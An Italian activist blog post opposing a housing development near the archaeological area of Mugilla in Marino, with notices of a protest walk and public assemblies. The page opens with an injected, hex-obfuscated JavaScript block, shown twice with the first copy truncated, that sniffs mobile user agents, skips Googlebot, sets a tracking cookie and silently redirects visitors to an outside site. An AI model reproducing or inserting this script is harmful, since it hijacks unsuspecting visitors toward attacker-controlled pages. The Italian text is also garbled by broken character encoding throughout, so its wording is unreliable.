|_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

SABATO 28 MARZO – PASSEGGIATA ARCHEOLOGICA – DIFENDIAMO MUGILLA

LUNEDI 23 MARZO – ASSEMBLEA PUBBLICA A MARONCELLI

I Palazzi al posto del Parco

17 PALAZZI DA 3 PIANI,

OLTRE 400 ABITANTI IN PIU’

A QUESTO SERVONO GLI ai???SCAVI ARCHEOLOGICIai??? DIETRO LA SCUOLA MARONCELLI

ai???La casa nel Parcoai???, cosAi?? si chiama la nuova speculazione edilizia che ha l’obiettivo di cementificare altri 4 ettari limitrofi all’antica ai???Mugillaai???, una delle aree di maggior pregio del nostro territorio e, di fatto, contigua al Parco dell’Appia Antica.

Ne sentivamo la mancanza, un altro po’ di cemento ci voleva proprio.

Del resto in questo periodo di esplosione demografica, di gente che puA? spendere 200.000 euro per un bilocale, perchAi?? non devastare altri 4 ettari? PerchAi?? non piazzarli poi proprio di fronte a scuole e asili ?

Progetto vecchio, modificato negli ultimi anni, le due societAi?? proprietarie dei terreni ai???Le Mole dueai??? e ai???Cristina srlai??? con stessa sede legale e stesso amministratore unico.

Dall’altro lato della collinetta, verso via Frassati e il Green House, la societAi?? ai???Selvaai??? si accorda con il Comune di Marino poco prima delle ultime elezioni (delibera di Giunta nAi??35 datata 27 marzo 2014): in cambio di un’area parcheggio (in comodato d’uso, s’intende…) perchAi?? ai???A? assolutamente necessario decongestionare l’area limitrofaai??? (come riportato nelle motivazioni della delibera), avrAi?? mano libera per un altro progetto di lottizzazione di circa 7 ettari. Piccola nota: il traffico A? da decongestionare perchAi?? piA? si costruisce, piA? abitanti ci sono, piA? macchine circolano e cosAi?? via.

Tutto questo in cambio di un millantato parco archeologico di 7 ettari, oppure di un auditorium (di cui non esiste un progetto) oppure, perchAi?? no, del fantastico stadio di baseball da 15.000 posti dell’entusiasta assessore Bartoloni (una pagina intera sul Messaggero del 6 aprile 2012).

Fuffa, tutta fuffa…PALAZZI, PALAZZI E ANCORA PALAZZI SONO CERTI, TUTTO IL RESTO NON ESISTE E, SE FOSSE UNO STADIO DA BASEBALL, SAREBBE PREOCCUPANTE…

Dopo la vergognosa seduta del Consiglio Comunale del 27 novembre scorso, non ci siamo fermati e abbiamo ottenuto una serie di documenti che confermano la volontAi?? dei costruttori di voler distruggere Mugilla, via del Divino Amore, Mazzamagna, Palaverta e la zona nei pressi dell’antica Bovillae.

Ad un recente incontro pubblico organizzato dall’associazione ai???Sapere Audeai??? al quale partecipava la funzionaria della Soprintendenza per i Beni Archeologici, dott.ssa Angle, abbiamo dapprima assistito alle numerose e rilevanti scoperte nel territorio marinese, avvenute di recente (quasi tutte a seguito di nuove edificazioni, tra le quali ai???Costa Caselleai??? e ai???vicolo Divino Amoreai???) ed abbiamo poi chiesto la parola per invitare la funzionaria a non rilasciare piA? ai???nulla ostaai??? ai costruttori.

Niente da fare, lo scarica-barile si A? palesato anche nella risposta della funzionaria della Soprintendenza, troppa responsabilitAi?? ci vorrebbe per mettersi contro gli appetiti degli speculatori.

Il Comune aiuta i costruttori, la Regione Lazio si accorda col Comune, cambia la Giunta alla Regione ma le delibere non vengono revocate, la Soprintendenza non muove un dito, insomma

BISOGNA CHE CI PENSIAMO NOI, TUTTI INSIEME!

Per questo nelle prossime settimane stiamo organizzando una serie di iniziative di informazione e di mobilitazione per tentare di fermare la devastazione e il saccheggio del territorio.

Invitiamo tutti/e a partecipare alle iniziative e alle assemblee settimanali che si svolgono ogni lunedAi?? alle 21.30 in via S.Paolo Apostolo 19, a S.Maria delle Mole (a 100 mt dalla Stazione)

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE ai??i?? http://stopcemento.noblogs.org

Clicca qui per il volantino in formato pdf